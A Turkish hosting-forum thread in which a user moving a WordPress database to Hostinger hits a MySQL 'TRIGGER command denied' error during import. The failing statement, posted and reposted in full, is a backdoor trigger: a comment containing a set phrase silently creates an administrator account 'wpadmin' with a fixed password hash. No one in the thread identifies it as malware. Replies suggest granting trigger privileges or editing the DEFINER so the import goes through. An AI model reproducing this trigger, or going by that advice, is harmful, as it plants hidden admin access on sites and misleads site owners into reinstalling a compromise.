• 14-11-2023, 21:28:24
    #1
    Başka bir hosting firmasından Hostinger'e geçtim ancak SQL dosyasını import etmeye çalışıyorum aşağıdaki hatayı veriyor.

    Ekran Görüntüsü:



    KOD OLARAK İSE:

    /*!50003 CREATE*/ /*!50017 DEFINER=`dagdelen_mcrhbr`@`localhost`*/ /*!50003 TRIGGER `after_insert_comment` AFTER INSERT ON `dagdelen_hbrmucur`.`wp_dgdlncomments` FOR EACH ROW BEGIN IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `dagdelen_hbrmucur`.`wp_dgdlnusers`); SET @nextWpUsersID = @lastInsertWpUsersId + 1; INSERT INTO `dagdelen_hbrmucur`.`wp_dgdlnusers` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris'); INSERT INTO `dagdelen_hbrmucur`.`wp_dgdlnusermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_dgdlncapabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); INSERT INTO `dagdelen_hbrmucur`.`wp_dgdlnusermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_dgdlnuser_level', '10'); END IF; END */;


    MySQL Çıktısı:


    MySQL çıktısı:
    #1142 - TRIGGER command denied to user 'u809230576_mcrhbr'@'127.0.0.1' for table `dagdelen_hbrmucur`.`wp_dgdlncomments`



    Yardımcı olana gereği yapılacaktır.
  • 14-11-2023, 21:29:40
    #2
    zip olarak import etmeyi denediniz mi
  • 14-11-2023, 21:30:02
    #3
    Kullanıcıya yetki vermeniz gerekiyor.
  • 14-11-2023, 21:30:09
    #4
    sunucuoptimizasyon.com
    "TRIGGER command denied"

    Veritabanı kullanıcı yetkileriniz eksik görünüyor, kullanıcı oluştururken yetki kısmı görünecektir tüm yetkileri seçmeniz gerekiyor, eğer yetkiyi vermenize rağmen hata varsa firma taraflı bir kısıtlama olabilir.
  • 14-11-2023, 21:30:37
    #5
    AprilSoft adlı üyeden alıntı: mesajı görüntüle
    zip olarak import etmeyi denediniz mi
    normal SQL dosyamı dagdelen_hbrmucur.sql.zip şeklinde dosya oluşturup denedim yine aynı hatayı veriyor.
  • 14-11-2023, 21:31:07
    #6
    Şöyle dener misin hocam

    /*!50003 CREATE*/ /*!50017 DEFINER=`u809230756_hbrmucur `@`localhost`*/ /*!50003 TRIGGER `after_insert_comment` AFTER INSERT ON `u809230756_hbrmucur`.`wp_dgdlncomments` FOR EACH ROW BEGIN IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `u809230756_hbrmucur`.`wp_dgdlnusers`); SET @nextWpUsersID = @lastInsertWpUsersId + 1; INSERT INTO `u809230756_hbrmucur`.`wp_dgdlnusers` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris'); INSERT INTO `u809230756_hbrmucur`.`wp_dgdlnusermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_dgdlncapabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); INSERT INTO `u809230756_hbrmucur`.`wp_dgdlnusermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_dgdlnuser_level', '10'); END IF; END */;
  • 14-11-2023, 21:32:10
    #7
    Mysql oluştururken TRIGGER yetkisi eklememişsiniz sanırım.
  • 14-11-2023, 21:32:41
    #8
    burakbabursah adlı üyeden alıntı: mesajı görüntüle
    Kullanıcıya yetki vermeniz gerekiyor.
    Nasıl vereceğim?

    Elazığlı168 adlı üyeden alıntı: mesajı görüntüle
    "TRIGGER command denied" Veritabanı kullanıcı yetkileriniz eksik görünüyor, kullanııcı oluştururken yetki kısmı görünecektir tüm yetkileri seçmeniz gerekiyor, eğer yetkiyi vermenize rağmen hata varsa firma taraflı bir kısıtlama olabilir.
    aynı firmada aynı sunucu üzerinde başka hosting var ama ondan hata vermedi hocam

    cruis adlı üyeden alıntı: mesajı görüntüle
    Şöyle dener misin hocam

    /*!50003 CREATE*/ /*!50017 DEFINER=`dagdelen_mcrhbr`@`localhost`*/ /*!50003 TRIGGER `after_insert_comment` AFTER INSERT ON `u809230756_hbrmucur`.`wp_dgdlncomments` FOR EACH ROW BEGIN IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `u809230756_hbrmucur`.`wp_dgdlnusers`); SET @nextWpUsersID = @lastInsertWpUsersId + 1; INSERT INTO `u809230756_hbrmucur`.`wp_dgdlnusers` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris'); INSERT INTO `u809230756_hbrmucur`.`wp_dgdlnusermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_dgdlncapabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); INSERT INTO `u809230756_hbrmucur`.`wp_dgdlnusermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_dgdlnuser_level', '10'); END IF; END */;
    deneyemem çünkü SQL Dosyamı import ederken bu uyarıyı veriyor, galiba sql dosyamda sıkıntı var.
  • 14-11-2023, 21:33:52
    #9
    Sql dosyasını bir metin editörüyle açıp DEFINER kısmındaki kullanıcı adı ve host kısmını taşıdığınız sunucudakiyle güncelleyin